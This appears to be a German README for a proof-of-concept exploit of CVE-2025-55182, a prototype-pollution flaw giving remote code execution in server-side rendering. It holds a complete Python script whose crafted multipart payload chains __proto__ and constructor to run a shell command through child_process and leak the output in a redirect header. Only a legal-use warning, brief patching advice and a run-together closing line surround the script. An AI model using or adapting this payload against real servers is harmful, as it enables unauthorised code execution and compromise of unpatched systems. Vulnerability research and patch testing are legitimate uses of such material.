
Proof-of-Concept-Exploit für CVE-2025-55182, der Prototype Pollution demonstriert, die zu Remote Code Execution in Server-Side-Rendering-Implementierungen führt. Enthält Python-Exploit-Skript und Sicherheitsempfehlungen.
Dieses Repository enthält einen Proof-of-Concept (PoC) für CVE-2025-55182, eine Schwachstelle, die Prototype Pollution mit Remote Code Execution (RCE) in bestimmten serverseitigen Rendering-Implementierungen betrifft.
⚠️ Warnung: Dieser PoC ist ausschließlich für Bildungs-, Forschungs- und autorisierte Sicherheitstests auf persönlichen oder kontrollierten Umgebungen bestimmt. Die unbefugte Nutzung auf Systemen ohne Erlaubnis ist illegal.
Die Schwachstelle tritt auf, wenn unvalidierte Benutzereingaben in interne JavaScript-Objektstrukturen injiziert werden (Prototype Pollution). In Kombination mit bestimmten Ausführungsabläufen kann dies zu beliebiger Codeausführung führen.
In diesem PoC werden verkettete Eigenschaften wie __proto__ und constructor verwendet, um die Verschmutzung in einen Ausführungskontext zu eskalieren.
Unten ist das exploit.py, das zeigt, wie die Schwachstelle ausgenutzt werden kann:
import requests
import json
url = "http://localhost:3000"
headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36",
"Next-Action": "x",
}
prefix = "var res=process.mainModule.require('child_process').execSync('id').toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});"
files = {
"0": (
None,
json.dumps({
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then":"$B1337"}',
"_response": {
"_prefix": prefix,
"_formData": {"get": "$1:constructor:constructor"}
}
}),
"application/json",
),
"1": (None, "\"$@0\""),
}
response = requests.post(url, headers=headers, files=files)
print("Headers:", response.headers.get('x-action-redirect'))
python3 exploit.py
Stellen Sie sicher, dass Sie dies nur in einer lokalen oder Entwicklungsumgebung ausführen.
Falls diese Schwachstelle ein reales Projekt betrifft, überprüfen und installieren Sie die neuesten Sicherheitspatches, die von den Betreuern veröffentlicht wurden.
npm audit aus und wenden Sie npm audit fix an, um Abhängigkeiten sicher zu haltenchild_process in der ProduktionMIT-Lizenz